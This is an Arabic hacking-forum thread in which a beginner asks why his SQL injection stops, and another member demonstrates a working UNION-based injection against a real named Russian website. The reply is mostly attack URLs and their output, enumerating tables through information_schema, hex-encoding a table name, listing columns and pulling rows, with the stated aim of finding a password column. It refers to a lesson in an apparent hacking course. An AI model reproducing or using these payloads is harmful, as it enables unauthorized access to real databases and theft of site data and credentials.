لماد أحيانن يقف الحقن هنا?

[kokou]

السلام عليكم
لماد أحيانن يقف الحقن هنا

http://www.rumafia.com/material.php...,14,15,16+from+information_schema.columns+--+

 

[kaisking]

هل انت متاكد انه مصاب انا واضح عندي الموقع حامي حالوووو

برب

 

[KaLa$nikoV]

بالنهايه بهمنا نوصل للحقنه الاخيره من ايا طريق مش مشكله

انت وقفت هون سؤاء مشكله بالموقع ولا حمايه ولا احنا مش عارفين نحقن .....
لازم نلقى حل

انا قلت ما بدي امشي طريقك مشيت من هنا

http://www.rumafia.com/material.php?id=-220 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+--+

زي ما انت شايف طلعت لنا كل الجداول وهي هاي

ListDefaults,ListGalleryes,ListMaterials,ListPersons,ListPhotos,ListSuits

الان هاي الجداول بدك تمسكها وتشوف مين منها فيه الباسورد (هاد شغلك انا بكمل ع واحد منها فقط حتى اضمن ما في ايا مشكله بالتطبيق )

اخدت هذا كمثال
ListMaterials

نشفرها بالهكس ونربطها بالحقنه
هكذا

http://www.rumafia.com/material.php?id=-220 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+table_name=0x4c6973744d6174657269616c73+--+

وهاد ناتج الحقنه

id,sync_id,pid,date,name,lit,text,link,companylist,personlist,primaryflag,img_small,img_middle,img_big,newsflag,nodisplay

الان نجرب نركب الحقنه اختار عمود name مثلا فقط للاكمال

http://www.rumafia.com/material.php?id=-220 UNION SELECT 1,2,3,concat(name),5,6,7,8,9,10,11,12,13,14,15,16+from+ListMaterials+--+

ناتج الحقنه

Yuri Luzhkov won the victory over the "Just Cause"

زي ما انت شايف مفش ايا مشاكل بالموقع بحقن عادي بقى الغلط منا او اما حمايه (لكن انا بستبعد حمايه )

ملاحظه
الموقع لا يحتوي على عمود اسمه pass لذا عند البحث عن عمود باس لايظهر ناتح وانت ظننت انها مشكله

للمزيد راجع الدرس رقم 17 بالدوره

موفق

 

[kaisking]

جاري

 

[kokou]

شكرا لك يا بركان واضح وضوح الشمس والله إنك عزيز لعدم نسيانك مبتدئين إلا حاجة واحدة
هي أنك أمحيتني من إميلك لكترت الأسئلتي ههه أطالب بإعادت الحكم وأعدك سؤالين في اليوم لن أزعجك ههه